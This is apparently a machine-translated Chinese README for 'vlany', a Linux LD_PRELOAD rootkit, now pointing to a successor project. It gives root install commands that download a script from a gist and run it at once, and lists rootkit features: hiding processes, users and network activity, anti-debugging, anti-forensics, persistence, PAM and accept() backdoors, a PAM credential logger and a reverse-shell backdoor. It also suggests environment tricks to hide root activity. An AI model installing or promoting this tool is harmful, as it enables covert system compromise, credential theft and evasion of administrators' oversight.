vlany

VLANY 不再维护。

https://github.com/naworkcaj/bdvl 是。请参阅不断更新。

弗拉尼（维基）

vlany 是一个 Linux LD_PRELOAD rootkit 。

• 功能列表
  
• 反检测

安装中

• vlany 的quick_install.sh 脚本是最快/最简单的安装方法。
  root@vlany:~# wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh
  
  Quick_install.sh 脚本会自动从此存储库下载最新版本的 vlany，解压存档，然后从 /tmp/ 中的新随机目录执行常规安装脚本。默认情况下，quick_install.sh 脚本在执行完全完成后会删除新目录。
  

• 将 vlany 安装到系统上非常简单，因为它带有自动安装脚本。
  要安装 vlany，您需要首先从我们的 GitHub 下载它（始终最新且值得信赖）
  root@vlany:~# wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz

• 下载后，您只需在 vlany-master 中运行install.sh即可。
  root@vlany:~# cd vlany-master && ./install.sh
  默认情况下，这将提示您进行 tui 安装，但如果首选 cli，您可以使用 --cli 参数来调用类似的 cli 安装。
  

安装的 ASCII 广播

在 Debian 8 机器上定期安装 tui，使用 suid 二进制文件来升级 tmp 用户的权限。在现实生活中，您需要使用一些环境变量来防止任何人在 root 时看到您的活动。

下载

快速安装.sh
vlany.tar.gz
填充 const.h （config.py 执行后）

特征

• 进程隐藏
• 用户隐藏
• 网络隐藏
• LXC集装箱
• 反调试
• 反取证
• 持久（重新）安装和反检测
• 动态链接器修改
• 后门
  • Accept() 后门（源自 Jynx2）
  • PAM后门
    • PAM 身份验证记录器
  • snodew反向shell后门
• vlany 独占命令

已知错误

此处列出的任何错误都将一直存在，直到达成解决方案为止。如果错误已被报告为问题，则相应的问题也将链接在错误列表中。如果错误得到解决，列表将从此处删除，如果与该错误相关的任何问题仍然存在，它将被关闭。

严重错误

1. 目前有一个实验性的重启砖修复。有些系统会变砖，有些则不会。请报告任何在重新启动时出现问题的系统，并在报告中给出 vlany 安装的情况。查看问题页面，看看是否已经提交了类似的问题。
2. vlany 无法在 CentOS 6.6 以上的任何操作系统上正确安装。

深入的README.txt（非常详细但未维护）

注意： vlany 正在积极开发中。此存储库不断发生更改，因此请注意 vlany 是非常实验性的。